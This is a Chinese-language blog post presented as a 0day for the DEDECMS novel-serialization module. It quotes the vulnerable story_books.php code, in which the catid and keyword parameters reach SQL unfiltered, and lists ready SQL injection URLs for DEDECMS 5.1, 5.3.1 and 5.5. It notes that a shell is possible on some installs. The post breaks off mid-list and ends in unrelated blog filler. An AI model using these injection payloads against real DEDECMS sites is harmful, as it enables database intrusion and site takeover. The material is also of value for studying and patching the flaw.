DEDECMS 小说连载模块 0DAY

作者:st0p可以转载,不过请注明出处http://www.st0p.org

由于这个洞出现在DEDECMS小说连载的模块中,所以只要DEDECMS安装时选小说连载模块,那么就存在这个问题,有些版本在条件允许下是可以直接拿SHELL的哦。st0p总结了一下利用条件条件1:当服务器的PHP设置magic_quotes_gpc = Off条件2:目标DEDECMS系统安装时选中小说连载模块

首先我们先来看一下DEDECMS 5.1,他的小说频道和DEDECMS 5.3.1,DEDECMS 5.5不同,因为他的文件在member目录下面,文件是member/story_books.php,而DEDECMS 5.3.1和DEDECMS 5.5的文件在book目录下,文件是book/story_books.php因为里面的代码相似,所以呢,咱们只看一个story_books.php就行了

123456789101112131415161718
<?php……if(!isset($action)) $action = ; //检测变量$action是否存在,不存则则给初使值if(!isset($catid)) $catid = 0; //检测变量$catid是否存在,不存则则给初使值if(!isset($keyword)) $keyword = “”; //检测变量$keyword是否存在,不存则则给初使值if(!isset($orderby)) $orderby = 0; //检测变量$orderby是否存在,不存则则给初使值……if($catid!=0) $addquery .= ” And (b.bcatid=$catid Or b.catid=$catid) “; //变量$catid不为0时,就直接把$catid给$addquery了,没有验证if($keyword!=””) $addquery .= ” And (b.bookname like %$keyword% Or 
b.author like %$keyword%) “;//变量$keyword不为空时,就直接把$keyword给$addquery了,没有验证$query = ”   Select b.id,b.catid,b.bookname,b.booktype,b.litpic,b.postnum,b.senddate,
b.ischeck, c.id as cid,c.classname From dede_story_books b   left join dede_story_catalog c on c.id = b.catid where 
memberid={$cfg_ml->M_ID} and b.id>0 $addquery $orderby”;//生成了语句……?>

上面的代码看到了吧,嘎,catid和keyword没有过滤,所以这就引起了注入,不过好像构成语句有点麻烦,这个就不在本文的讨论了范围了,我们举个小例子试一下,以下操作请在登陆后进行测试,直接注册个帐号,登陆,然后输入以下地址就可以了DEDECMS 5.1

测试一,catid变量,地址如下http://st0p:88/dedecms51/member/story_books.php?catid=10′) or (’st0p’=’st0p

测试二,keyword变量,地址如下http://st0p:88/dedecms51/member/story_books.php?keyword=st0p%’ or c.classname like ‘%st0p

DEDECMS 5.31

测试一,catid变量,地址如下http://st0p:88/dedecms53/book/story_books.php?catid=10′) or (’st0p’=’st0p

测试二,keyword变量,地址如下

http://st0p:88/dedecms53/book/story_books.php?keyword=st0p%’ or c.classname like ‘%st0p

DEDECMS 5.5

测试一,catid变量,地址如下http://st0p:88/dedecms55/book/story_books.php?catid=10′) or (’st0p’=’st0p

测试二,keyword变量,

真正的停下来,享受自我的体验时刻,也许浮光掠影,

DEDECMS 小说连载模块 0DAY

相关文章:

你感兴趣的文章:

标签云: